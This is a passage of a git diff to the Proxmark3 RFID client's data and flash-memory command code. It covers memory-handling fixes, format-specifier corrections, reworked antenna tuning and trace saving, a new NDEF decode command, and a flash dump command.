4000, 10); if (window >= GraphTraceLen) { - PrintAndLogEx(WARNING, "window must be smaller than trace (%d samples)", GraphTraceLen); + PrintAndLogEx(WARNING, "window must be smaller than trace (%zu samples)", GraphTraceLen); errors = true; } cmdp += 2; @@ -865,12 +967,12 @@ static int CmdBitsamples(const char *Cmd) { int cnt = 0; uint8_t got[12288]; - if (!GetFromDevice(BIG_BUF, got, sizeof(got), 0, NULL, 2500, false)) { + if (!GetFromDevice(BIG_BUF, got, sizeof(got), 0, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } - for (size_t j = 0; j < sizeof(got); j++) { + for (size_t j = 0; j < ARRAYLEN(got); j++) { for (uint8_t k = 0; k < 8; k++) { if (got[j] & (1 << (7 - k))) GraphBuffer[cnt++] = 1; @@ -1058,9 +1160,16 @@ int FSKrawDemod(const char *Cmd, bool verbose) { if (getSignalProperties()->isnoise) return PM3_ESOFT; - uint8_t bits[MAX_GRAPH_TRACE_LEN] = {0}; + uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); + if (bits == NULL) { + return PM3_EMALLOC; + } + size_t BitLen = getFromGraphBuf(bits); - if (BitLen == 0) return PM3_ESOFT; + if (BitLen == 0) { + free(bits); + return PM3_ESOFT; + } //get field clock lengths if (!fchigh || !fclow) { @@ -1091,10 +1200,13 @@ int FSKrawDemod(const char *Cmd, bool verbose) { PrintAndLogEx(NORMAL, "%s decoded bitstream:", GetFSKType(fchigh, fclow, invert)); printDemodBuff(); } - return PM3_SUCCESS; + goto out; } else { PrintAndLogEx(DEBUG, "no FSK data found"); } + +out: + free(bits); return PM3_SUCCESS; } @@ -1128,23 +1240,30 @@ int PSKDemod(const char *Cmd, bool verbose) { if (getSignalProperties()->isnoise) return PM3_ESOFT; - uint8_t bits[MAX_GRAPH_TRACE_LEN] = {0}; + uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); + if (bits == NULL) { + return PM3_EMALLOC; + } size_t bitlen = getFromGraphBuf(bits); - if (bitlen == 0) + if (bitlen == 0) { + free(bits); return PM3_ESOFT; + } int startIdx = 0; int errCnt = pskRawDemod_ext(bits, &bitlen, &clk, &invert, &startIdx); if (errCnt > maxErr) { - if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) Too many errors found, clk: %d, invert: %d, numbits: %d, errCnt: %d", clk, invert, bitlen, errCnt); + if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) Too many errors found, clk: %d, invert: %d, numbits: %zu, errCnt: %d", clk, invert, bitlen, errCnt); + free(bits); return PM3_ESOFT; } if (errCnt < 0 || bitlen < 16) { //throw away static - allow 1 and -1 (in case of threshold command first) - if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) no data found, clk: %d, invert: %d, numbits: %d, errCnt: %d", clk, invert, bitlen, errCnt); + if (g_debugMode || verbose) PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) no data found, clk: %d, invert: %d, numbits: %zu, errCnt: %d", clk, invert, bitlen, errCnt); + free(bits); return PM3_ESOFT; } if (verbose || g_debugMode) { - PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) Using Clock:%d, invert:%d, Bits Found:%d", clk, invert, bitlen); + PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) Using Clock:%d, invert:%d, Bits Found:%zu", clk, invert, bitlen); if (errCnt > 0) { PrintAndLogEx(DEBUG, "DEBUG: (PSKdemod) errors during Demoding (shown as 7 in bit stream): %d", errCnt); } @@ -1152,6 +1271,7 @@ int PSKDemod(const char *Cmd, bool verbose) { //prime demod buffer for output setDemodBuff(bits, bitlen, 0); setClockGrid(clk, startIdx); + free(bits); return PM3_SUCCESS; } @@ -1175,7 +1295,7 @@ static int CmdIdteckDemod(const char *Cmd) { else if (idx == -3) PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: preamble not found"); else if (idx == -4) - PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: size not correct: %d", size); + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: size not correct: %zu", size); else PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: idx: %d", idx); @@ -1194,7 +1314,7 @@ static int CmdIdteckDemod(const char *Cmd) { else if (idx == -3) PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: preamble not found"); else if (idx == -4) - PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: size not correct: %d", size); + PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: size not correct: %zu", size); else PrintAndLogEx(DEBUG, "DEBUG: Error - Idteck: idx: %d", idx); @@ -1243,21 +1363,31 @@ int NRZrawDemod(const char *Cmd, bool verbose) { if (getSignalProperties()->isnoise) return PM3_ESOFT; - uint8_t bits[MAX_GRAPH_TRACE_LEN] = {0}; + uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); + if (bits == NULL) { + return PM3_EMALLOC; + } + size_t BitLen = getFromGraphBuf(bits); - if (BitLen == 0) return PM3_ESOFT; + if (BitLen == 0) { + free(bits); + return PM3_ESOFT; + } errCnt = nrzRawDemod(bits, &BitLen, &clk, &invert, &clkStartIdx); if (errCnt > maxErr) { - PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Too many errors found, clk: %d, invert: %d, numbits: %d, errCnt: %d", clk, invert, BitLen, errCnt); + PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Too many errors found, clk: %d, invert: %d, numbits: %zu, errCnt: %d", clk, invert, BitLen, errCnt); + free(bits); return PM3_ESOFT; } if (errCnt < 0 || BitLen < 16) { //throw away static - allow 1 and -1 (in case of threshold command first) - PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) no data found, clk: %d, invert: %d, numbits: %d, errCnt: %d", clk, invert, BitLen, errCnt); + PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) no data found, clk: %d, invert: %d, numbits: %zu, errCnt: %d", clk, invert, BitLen, errCnt); + free(bits); return PM3_ESOFT; } - if (verbose || g_debugMode) PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Tried NRZ Demod using Clock: %d - invert: %d - Bits Found: %d", clk, invert, BitLen); + + if (verbose || g_debugMode) PrintAndLogEx(DEBUG, "DEBUG: (NRZrawDemod) Tried NRZ Demod using Clock: %d - invert: %d - Bits Found: %zu", clk, invert, BitLen); //prime demod buffer for output setDemodBuff(bits, BitLen, 0); setClockGrid(clk, clkStartIdx); @@ -1269,6 +1399,8 @@ int NRZrawDemod(const char *Cmd, bool verbose) { // Now output the bitstream to the scrollback by line of 16 bits printDemodBuff(); } + + free(bits); return PM3_SUCCESS; } @@ -1290,7 +1422,7 @@ int CmdPSK1rawDemod(const char *Cmd) { int ans = PSKDemod(Cmd, true); //output if (ans != PM3_SUCCESS) { - if (g_debugMode) PrintAndLogEx(WARNING, "Error demoding: %d", ans); + if (g_debugMode) PrintAndLogEx(ERR, "Error demoding: %d", ans); return PM3_ESOFT; } PrintAndLogEx(NORMAL, "PSK1 demoded bitstream:"); @@ -1307,7 +1439,7 @@ static int CmdPSK2rawDemod(const char *Cmd) { int ans = PSKDemod(Cmd, true); if (ans != PM3_SUCCESS) { - if (g_debugMode) PrintAndLogEx(WARNING, "Error demoding: %d", ans); + if (g_debugMode) PrintAndLogEx(ERR, "Error demoding: %d", ans); return PM3_ESOFT; } psk1TOpsk2(DemodBuffer, DemodBufferLen); @@ -1397,7 +1529,7 @@ static int CmdHexsamples(const char *Cmd) { return PM3_EINVARG; } - if (!GetFromDevice(BIG_BUF, got, requested, offset, NULL, 2500, false)) { + if (!GetFromDevice(BIG_BUF, got, requested, offset, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ESOFT; } @@ -1457,7 +1589,7 @@ static uint8_t getByte(uint8_t bits_per_sample, BitstreamOut *b) { return val; } -int getSamples(uint32_t n, bool silent) { +int getSamples(uint32_t n, bool verbose) { //If we get all but the last byte in bigbuf, // we don't have to worry about remaining trash // in the last byte in case the bits-per-sample @@ -1467,28 +1599,28 @@ int getSamples(uint32_t n, bool silent) { if (n == 0 || n > sizeof(got)) n = sizeof(got); - if (!silent) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); + if (verbose) PrintAndLogEx(INFO, "Reading " _YELLOW_("%u") "bytes from device memory", n); PacketResponseNG response; - if (!GetFromDevice(BIG_BUF, got, n, 0, &response, 10000, true)) { + if (!GetFromDevice(BIG_BUF, got, n, 0, NULL, 0, &response, 10000, true)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); return PM3_ETIMEOUT; } - if (!silent) PrintAndLogEx(NORMAL, "Data fetched"); + if (verbose) PrintAndLogEx(SUCCESS, "Data fetched"); uint8_t bits_per_sample = 8; //Old devices without this feature would send 0 at arg[0] if (response.oldarg[0] > 0) { sample_config *sc = (sample_config *) response.data.asBytes; - if (!silent) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); + if (verbose) PrintAndLogEx(INFO, "Samples @ " _YELLOW_("%d") "bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); bits_per_sample = sc->bits_per_sample; } if (bits_per_sample < 8) { - if (!silent) PrintAndLogEx(NORMAL, "Unpacking..."); + if (verbose) PrintAndLogEx(INFO, "Unpacking..."); BitstreamOut bout = { got, bits_per_sample * n, 0}; int j = 0; @@ -1498,7 +1630,7 @@ int getSamples(uint32_t n, bool silent) { } GraphTraceLen = j; - if (!silent) PrintAndLogEx(NORMAL, "Unpacked %d samples", j); + if (verbose) PrintAndLogEx(INFO, "Unpacked %d samples", j); } else { for (int j = 0; j < n; j++) { @@ -1530,16 +1662,15 @@ int CmdTuneSamples(const char *Cmd) { #define LF_MARGINAL_V 10000 #define HF_UNUSABLE_V 3000 #define HF_MARGINAL_V 5000 -#define ANTENNA_ERROR 1.03 // current algo has 3% error margin. +#define ANTENNA_ERROR 1.00 // current algo has 3% error margin. // hide demod plot line DemodBufferLen = 0; setClockGrid(0, 0); RepaintGraphWindow(); - int timeout = 0; - PrintAndLogEx(INFO, "\nMeasuring antenna characteristics, please wait..."); + PrintAndLogEx(INFO, "Measuring antenna characteristics, please wait..."); clearCommandBuffer(); SendCommandNG(CMD_MEASURE_ANTENNA_TUNING, NULL, 0); @@ -1553,52 +1684,69 @@ int CmdTuneSamples(const char *Cmd) { return PM3_ETIMEOUT; } } - PrintAndLogEx(NORMAL, "\n"); - uint32_t v_lf125 = resp.oldarg[0]; - uint32_t v_lf134 = resp.oldarg[0] >> 32; + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Antenna tuning failed"); + return PM3_ESOFT; + } - uint32_t v_hf = resp.oldarg[1]; - uint32_t peakf = resp.oldarg[2]; - uint32_t peakv = resp.oldarg[2] >> 32; + PrintAndLogEx(NORMAL, ""); + // in mVolt + struct p { + uint32_t v_lf134; + uint32_t v_lf125; + uint32_t v_lfconf; + uint32_t v_hf; + uint32_t peak_v; + uint32_t peak_f; + int divisor; + uint8_t results[256]; + } PACKED; - if (v_lf125 > NON_VOLTAGE) - PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - 125.00 kHz", (v_lf125 * ANTENNA_ERROR) / 1000.0); - if (v_lf134 > NON_VOLTAGE) - PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - 134.00 kHz", (v_lf134 * ANTENNA_ERROR) / 1000.0); - if (peakv > NON_VOLTAGE && peakf > 0) - PrintAndLogEx(SUCCESS, "LF optimal: %5.2f V - %6.2f kHz", (peakv * ANTENNA_ERROR) / 1000.0, 12000.0 / (peakf + 1)); + struct p *package = (struct p *)resp.data.asBytes; + + if (package->v_lf125 > NON_VOLTAGE) + PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - %.2f kHz", (package->v_lf125 * ANTENNA_ERROR) / 1000.0, LF_DIV2FREQ(LF_DIVISOR_125)); + + if (package->v_lf134 > NON_VOLTAGE) + PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - %.2f kHz", (package->v_lf134 * ANTENNA_ERROR) / 1000.0, LF_DIV2FREQ(LF_DIVISOR_134)); + + if (package->v_lfconf > NON_VOLTAGE && package->divisor > 0 && package->divisor != LF_DIVISOR_125 && package->divisor != LF_DIVISOR_134) + PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - %.2f kHz", (package->v_lfconf * ANTENNA_ERROR) / 1000.0, LF_DIV2FREQ(package->divisor)); + + if (package->peak_v > NON_VOLTAGE && package->peak_f > 0) + PrintAndLogEx(SUCCESS, "LF optimal: %5.2f V - %6.2f kHz", (package->peak_v * ANTENNA_ERROR) / 1000.0, LF_DIV2FREQ(package->peak_f)); char judgement[20]; memset(judgement, 0, sizeof(judgement)); // LF evaluation - if (peakv < LF_UNUSABLE_V) + if (package->peak_v < LF_UNUSABLE_V) sprintf(judgement, _RED_("UNUSABLE")); - else if (peakv < LF_MARGINAL_V) + else if (package->peak_v < LF_MARGINAL_V) sprintf(judgement, _YELLOW_("MARGINAL")); else sprintf(judgement, _GREEN_("OK")); PrintAndLogEx(NORMAL, "%sLF antenna is %s \n" - , (peakv < LF_UNUSABLE_V) ? _CYAN_("[!]") : _GREEN_("[+]") + , (package->peak_v < LF_UNUSABLE_V) ? _CYAN_("[!]") : _GREEN_("[+]") , judgement ); // HF evaluation - if (v_hf > NON_VOLTAGE) - PrintAndLogEx(SUCCESS, "HF antenna: %5.2f V - 13.56 MHz", (v_hf * ANTENNA_ERROR) / 1000.0); + if (package->v_hf > NON_VOLTAGE) + PrintAndLogEx(SUCCESS, "HF antenna: %5.2f V - 13.56 MHz", (package->v_hf * ANTENNA_ERROR) / 1000.0); memset(judgement, 0, sizeof(judgement)); - if (v_hf < HF_UNUSABLE_V) + if (package->v_hf < HF_UNUSABLE_V) sprintf(judgement, _RED_("UNUSABLE")); - else if (v_hf < HF_MARGINAL_V) + else if (package->v_hf < HF_MARGINAL_V) sprintf(judgement, _YELLOW_("MARGINAL")); else sprintf(judgement, _GREEN_("OK")); PrintAndLogEx(NORMAL, "%sHF antenna is %s" - , (v_hf < HF_UNUSABLE_V) ? _CYAN_("[!]") : _GREEN_("[+]") + , (package->v_hf < HF_UNUSABLE_V) ? _CYAN_("[!]") : _GREEN_("[+]") , judgement ); @@ -1606,12 +1754,13 @@ int CmdTuneSamples(const char *Cmd) { // even here, these values has 3% error. uint16_t test1 = 0; for (int i = 0; i < 256; i++) { - GraphBuffer[i] = resp.data.asBytes[i] - 128; - test1 += resp.data.asBytes[i]; + GraphBuffer[i] = package->results[i] - 128; + test1 += package->results[i]; } if (test1 > 0) { - PrintAndLogEx(SUCCESS, "\nDisplaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.\n\n"); + PrintAndLogEx(SUCCESS, "\nDisplaying LF tuning graph. Divisor %d is %.2f kHz, %d is %.2f kHz.\n\n", + LF_DIVISOR_134, LF_DIV2FREQ(LF_DIVISOR_134), LF_DIVISOR_125, LF_DIV2FREQ(LF_DIVISOR_125)); GraphTraceLen = 256; ShowGraphWindow(); RepaintGraphWindow(); @@ -1628,14 +1777,25 @@ static int CmdLoad(const char *Cmd) { int len = 0; len = strlen(Cmd); + if (len == 0) return PM3_EFILE; + if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; memcpy(filename, Cmd, len); - FILE *f = fopen(filename, "r"); + char *path; + if (searchFile(&path, TRACES_SUBDIR, filename, ".pm3", true) != PM3_SUCCESS) { + if (searchFile(&path, TRACES_SUBDIR, filename, "", false) != PM3_SUCCESS) { + return PM3_EFILE; + } + } + + FILE *f = fopen(path, "r"); if (!f) { - PrintAndLogEx(WARNING, "couldn't open '%s'", filename); + PrintAndLogEx(WARNING, "couldn't open '%s'", path); + free(path); return PM3_EFILE; } + free(path); GraphTraceLen = 0; char line[80]; @@ -1649,7 +1809,7 @@ static int CmdLoad(const char *Cmd) { fclose(f); - PrintAndLogEx(SUCCESS, "loaded %d samples", GraphTraceLen); + PrintAndLogEx(SUCCESS, "loaded %zu samples", GraphTraceLen); uint8_t bits[GraphTraceLen]; size_t size = getFromGraphBuf(bits); @@ -1742,31 +1902,52 @@ int CmdPlot(const char *Cmd) { return PM3_SUCCESS; } -static int CmdSave(const char *Cmd) { +int CmdSave(const char *Cmd) { int len = 0; char filename[FILE_PATH_SIZE] = {0x00}; + uint8_t cmdp = 0; + bool errors = false, as_wave = false, has_name = false; - len = strlen(Cmd); - if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; - memcpy(filename, Cmd, len); - - FILE *f = fopen(filename, "w"); - if (!f) { - PrintAndLogEx(WARNING, "couldn't open '%s'", filename); - return PM3_EFILE; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + char ctmp = tolower(param_getchar(Cmd, cmdp)); + switch (ctmp) { + case 'h': + return usage_data_save(); + case 'f': + len = param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE); + if (len < 1) { + errors = true; + break; + } + has_name = true; + cmdp += 2; + break; + case 'w': + as_wave = true; + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } } - for (uint32_t i = 0; i < GraphTraceLen; i++) - fprintf(f, "%d\n", GraphBuffer[i]); + if (!has_name) errors = true; - fclose(f); + if (errors || cmdp == 0) return usage_data_save(); - PrintAndLogEx(SUCCESS, "saved to " _YELLOW_("'%s'"), Cmd); - return PM3_SUCCESS; + if (as_wave) + return saveFileWAVE(filename, GraphBuffer, GraphTraceLen); + else + return saveFilePM3(filename, GraphBuffer, GraphTraceLen); } static int CmdScale(const char *Cmd) { + char cmdp = tolower(param_getchar(Cmd, 0)); + if (strlen(Cmd) == 0 || cmdp == 'h') return usage_data_scale(); + CursorScaleFactor = atoi(Cmd); if (CursorScaleFactor == 0) { PrintAndLogEx(FAILED, "bad, can't have zero scale"); @@ -2108,6 +2289,34 @@ static int CmdDataIIR(const char *Cmd) { return PM3_SUCCESS; } +static int CmdDataNDEF(const char *Cmd) { + +#ifndef MAX_NDEF_LEN +#define MAX_NDEF_LEN 2048 +#endif + + CLIParserInit("data ndef", + "Prints NFC Data Exchange Format (NDEF)", + "Usage:\n\tdata ndef -d 9101085402656e48656c6c6f5101085402656e576f726c64\n"); + + void *argtable[] = { + arg_param_begin, + arg_strx0("dD", "data", "", "NDEF data to decode"), + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + int datalen = 0; + uint8_t data[MAX_NDEF_LEN] = {0}; + CLIGetHexWithReturn(1, data, &datalen); + CLIParserFree(); + if (datalen == 0) + return PM3_EINVARG; + + PrintAndLogEx(INFO, "Parsed NDEF Records"); + return NDEFRecordsDecodeAndPrint(data, datalen); +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"askedgedetect", CmdAskEdgeDetect, AlwaysAvailable, "[threshold] Adjust Graph for manual ASK demod using the length of sample differences to detect the edge of a wave (use 20-45, def:25)"}, @@ -2120,7 +2329,6 @@ static command_t CommandTable[] = { {"dec", CmdDec, AlwaysAvailable, "Decimate samples"}, {"detectclock", CmdDetectClockRate, AlwaysAvailable, "[] Detect ASK, FSK, NRZ, PSK clock rate of wave in GraphBuffer"}, {"fsktonrz", CmdFSKToNRZ, AlwaysAvailable, "Convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk)"}, - {"getbitstream", CmdGetBitStream, AlwaysAvailable, "Convert GraphBuffer's >=1 values to 1 and <1 to 0"}, {"grid", CmdGrid, AlwaysAvailable, " -- overlay grid on graph window, use zero value to turn off either"}, {"hexsamples", CmdHexsamples, IfPm3Present, " [] -- Dump big buffer as hex bytes"}, @@ -2137,16 +2345,17 @@ static command_t CommandTable[] = { {"printdemodbuffer", CmdPrintDemodBuff, AlwaysAvailable, "[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output"}, {"rawdemod", CmdRawDemod, AlwaysAvailable, "[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary"}, {"samples", CmdSamples, IfPm3Present, "[512 - 40000] -- Get raw samples for graph window (GraphBuffer)"}, - {"save", CmdSave, AlwaysAvailable, " -- Save trace (from graph window)"}, + {"save", CmdSave, AlwaysAvailable, "Save trace (from graph window)"}, {"setgraphmarkers", CmdSetGraphMarkers, AlwaysAvailable, "[orange_marker] [blue_marker] (in graph window)"}, - {"scale", CmdScale, AlwaysAvailable, " -- Set cursor display scale"}, + {"scale", CmdScale, AlwaysAvailable, " -- Set cursor display scale in carrier frequency expressed in kHz"}, {"setdebugmode", CmdSetDebugMode, AlwaysAvailable, "<0|1|2> -- Set Debugging Level on client side"}, {"shiftgraphzero", CmdGraphShiftZero, AlwaysAvailable, " -- Shift 0 for Graphed wave + or - shift value"}, {"dirthreshold", CmdDirectionalThreshold, AlwaysAvailable, " -- Max rising higher up-thres/ Min falling lower down-thres, keep rest as prev."}, {"tune", CmdTuneSamples, IfPm3Present, "Get hw tune samples for graph window"}, {"undec", CmdUndec, AlwaysAvailable, "Un-decimate samples by 2"}, {"zerocrossings", CmdZerocrossings, AlwaysAvailable, "Count time between zero-crossings"}, - {"iir", CmdDataIIR, IfPm3Present, "apply IIR buttersworth filter on plotdata"}, + {"iir", CmdDataIIR, AlwaysAvailable, "apply IIR buttersworth filter on plotdata"}, + {"ndef", CmdDataNDEF, AlwaysAvailable, "Decode NDEF records"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/cmddata.h b/client/cmddata.h index 583af4dd1..a19bead27 100644 --- a/client/cmddata.h +++ b/client/cmddata.h @@ -11,26 +11,9 @@ #ifndef CMDDATA_H__ #define CMDDATA_H__ -#include //size_t -#include //uint_32+ -#include //bool -#include "cmdparser.h" // for command_t +#include "common.h" -#include // also included in util.h -#include // also included in util.h -#include -#include // for CmdNorm INT_MIN && INT_MAX -#include "util.h" -#include "cmdmain.h" -#include "proxmark3.h"// sendcommand -#include "ui.h" // for show graph controls -#include "graph.h" // for graph data -#include "comms.h" -#include "lfdemod.h" // for demod code -#include "crc.h" // for pyramid checksum maxim -#include "crc16.h" // for FDXB demod checksum -#include "loclass/cipherutils.h" // for decimating samples in getsamples -#include "cmdlfem4x.h" // askem410xdecode +//#include //size_t int CmdData(const char *Cmd); @@ -70,6 +53,7 @@ int CmdHpf(const char *Cmd); int CmdLtrim(const char *Cmd); // used by cmd lf em4x, lf t55xx int CmdNorm(const char *Cmd); // used by cmd lf data (!) int CmdPlot(const char *Cmd); // used by cmd lf cotag +int CmdSave(const char *Cmd); // used by cmd auto int CmdTuneSamples(const char *Cmd); // used by cmd lf hw int ASKbiphaseDemod(const char *Cmd, bool verbose); // used by cmd lf em4x, lf fdx, lf guard, lf jablotron, lf nedap, lf t55xx int ASKDemod(const char *Cmd, bool verbose, bool emSearch, uint8_t askType); // used by cmd lf em4x, lf t55xx, lf viking @@ -84,7 +68,7 @@ void setDemodBuff(uint8_t *buff, size_t size, size_t start_idx); bool getDemodBuff(uint8_t *buff, size_t *size); void save_restoreDB(uint8_t saveOpt);// option '1' to save DemodBuffer any other to restore int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveGrph, bool verbose); -int getSamples(uint32_t n, bool silent); +int getSamples(uint32_t n, bool verbose); void setClockGrid(uint32_t clk, int offset); int directionalThreshold(const int *in, int *out, size_t len, int8_t up, int8_t down); int AskEdgeDetect(const int *in, int *out, int len, int threshold); diff --git a/client/cmdflashmem.c b/client/cmdflashmem.c index dafda3ae6..ab104276d 100644 --- a/client/cmdflashmem.c +++ b/client/cmdflashmem.c @@ -9,9 +9,17 @@ //----------------------------------------------------------------------------- #include "cmdflashmem.h" +#include + +#include "cmdparser.h" // command_t + +#include "pmflash.h" +#include "fileutils.h" //saveFile +#include "comms.h" //getfromdevice +#include "cmdflashmemspiffs.h" // spiffs commands + #include "mbedtls/rsa.h" #include "mbedtls/sha1.h" -#include "mbedtls/base64.h" #define MCK 48000000 #define FLASH_MINFAST 24000000 //33000000 @@ -29,25 +37,14 @@ static int usage_flashmem_spibaud(void) { PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " SPI baudrate in MHz [24|48]"); PrintAndLogEx(NORMAL, " "); - PrintAndLogEx(NORMAL, " If >= 24Mhz, FASTREADS instead of READS instruction will be used."); - PrintAndLogEx(NORMAL, " Reading Flash ID will virtually always fail under 48Mhz setting"); - PrintAndLogEx(NORMAL, " Unless you know what you are doing, please stay at 24Mhz"); + PrintAndLogEx(NORMAL, " If >= 24MHz, FASTREADS instead of READS instruction will be used."); + PrintAndLogEx(NORMAL, " Reading Flash ID will virtually always fail under 48MHz setting"); + PrintAndLogEx(NORMAL, " Unless you know what you are doing, please stay at 24MHz"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " mem spibaud 48"); return PM3_SUCCESS; } -static int usage_flashmem_read(void) { - PrintAndLogEx(NORMAL, "Read flash memory on device"); - PrintAndLogEx(NORMAL, "Usage: mem read o l "); - PrintAndLogEx(NORMAL, " o : offset in memory"); - PrintAndLogEx(NORMAL, " l : length"); - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " mem read o 0 l 32"); // read 32 bytes starting at offset 0 - PrintAndLogEx(NORMAL, " mem read o 1024 l 10"); // read 10 bytes starting at offset 1024 - return PM3_SUCCESS; -} static int usage_flashmem_load(void) { PrintAndLogEx(NORMAL, "Loads binary file into flash memory on device"); PrintAndLogEx(NORMAL, "Usage: mem load [o ] f [m|t|i]"); @@ -62,22 +59,24 @@ static int usage_flashmem_load(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " mem load f myfile"); // upload file myfile at default offset 0 PrintAndLogEx(NORMAL, " mem load f myfile o 1024"); // upload file myfile at offset 1024 - PrintAndLogEx(NORMAL, " mem load f default_keys m"); - PrintAndLogEx(NORMAL, " mem load f default_pwd t"); - PrintAndLogEx(NORMAL, " mem load f default_iclass_keys i"); + PrintAndLogEx(NORMAL, " mem load f mfc_default_keys m"); + PrintAndLogEx(NORMAL, " mem load f t55xx_default_pwds t"); + PrintAndLogEx(NORMAL, " mem load f iclass_default_keys i"); return PM3_SUCCESS; } -static int usage_flashmem_save(void) { - PrintAndLogEx(NORMAL, "Saves flash memory on device into the file"); - PrintAndLogEx(NORMAL, " Usage: mem save [o ] [l ] f "); +static int usage_flashmem_dump(void) { + PrintAndLogEx(NORMAL, "Dumps flash memory on device into a file or in console"); + PrintAndLogEx(NORMAL, " Usage: mem dump [o ] [l ] [f ] [p]"); PrintAndLogEx(NORMAL, " o : offset in memory"); PrintAndLogEx(NORMAL, " l : length"); PrintAndLogEx(NORMAL, " f : file name"); + PrintAndLogEx(NORMAL, " p : print dump in console"); + PrintAndLogEx(NORMAL, " You must specify at lease option f or option p, both if you wish"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " mem save f myfile"); // download whole flashmem to file myfile - PrintAndLogEx(NORMAL, " mem save f myfile l 4096"); // download 4096 bytes from default offset 0 to file myfile - PrintAndLogEx(NORMAL, " mem save f myfile o 1024 l 4096"); // downlowd 4096 bytes from offset 1024 to file myfile + PrintAndLogEx(NORMAL, " mem dump f myfile"); // download whole flashmem to file myfile + PrintAndLogEx(NORMAL, " mem dump p o 262015 l 128"); // display 128 bytes from offset 262015 (RSA sig) + PrintAndLogEx(NORMAL, " mem dump p f myfile o 241664 l 58"); // download and display 58 bytes from offset 241664 to file myfile return PM3_SUCCESS; } static int usage_flashmem_wipe(void) { @@ -105,46 +104,6 @@ static int usage_flashmem_info(void) { return PM3_SUCCESS; } -static int CmdFlashMemRead(const char *Cmd) { - - uint8_t cmdp = 0; - bool errors = false; - uint32_t start_index = 0, len = 0; - - while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { - switch (tolower(param_getchar(Cmd, cmdp))) { - case 'o': - start_index = param_get32ex(Cmd, cmdp + 1, 0, 10); - cmdp += 2; - break; - case 'l': - len = param_get32ex(Cmd, cmdp + 1, 0, 10); - cmdp += 2; - break; - case 'h': - return usage_flashmem_read(); - default: - PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); - errors = true; - break; - } - } - - //Validations - if (errors || cmdp == 0) { - usage_flashmem_read(); - return PM3_EINVARG; - } - if (start_index + len > FLASH_MEM_MAX_SIZE) { - PrintAndLogDevice(WARNING, "error, start_index + length is larger than available memory"); - return PM3_EOVFLOW; - } - - clearCommandBuffer(); - SendCommandMIX(CMD_FLASHMEM_READ, start_index, len, 0, NULL, 0); - return PM3_SUCCESS; -} - static int CmdFlashmemSpiBaudrate(const char *Cmd) { char ctmp = tolower(param_getchar(Cmd, 0)); @@ -158,7 +117,7 @@ static int CmdFlashmemSpiBaudrate(const char *Cmd) { usage_flashmem_spibaud(); return PM3_EINVARG; } - SendCommandMIX(CMD_FLASHMEM_SET_SPIBAUDRATE, baudrate, 0, 0, NULL, 0); + SendCommandNG(CMD_FLASHMEM_SET_SPIBAUDRATE, (uint8_t *)&baudrate, sizeof(uint32_t)); return PM3_SUCCESS; } @@ -250,21 +209,20 @@ static int CmdFlashMemLoad(const char *Cmd) { datalen += 2; break; case DICTIONARY_NONE: - res = loadFile(filename, ".bin", data, FLASH_MEM_MAX_SIZE, &datalen); - //int res = loadFileEML( filename, data, &datalen); - if (res) { + res = loadFile_safe(filename, ".bin", (void **)&data, &datalen); + if (res != PM3_SUCCESS) { free(data); return 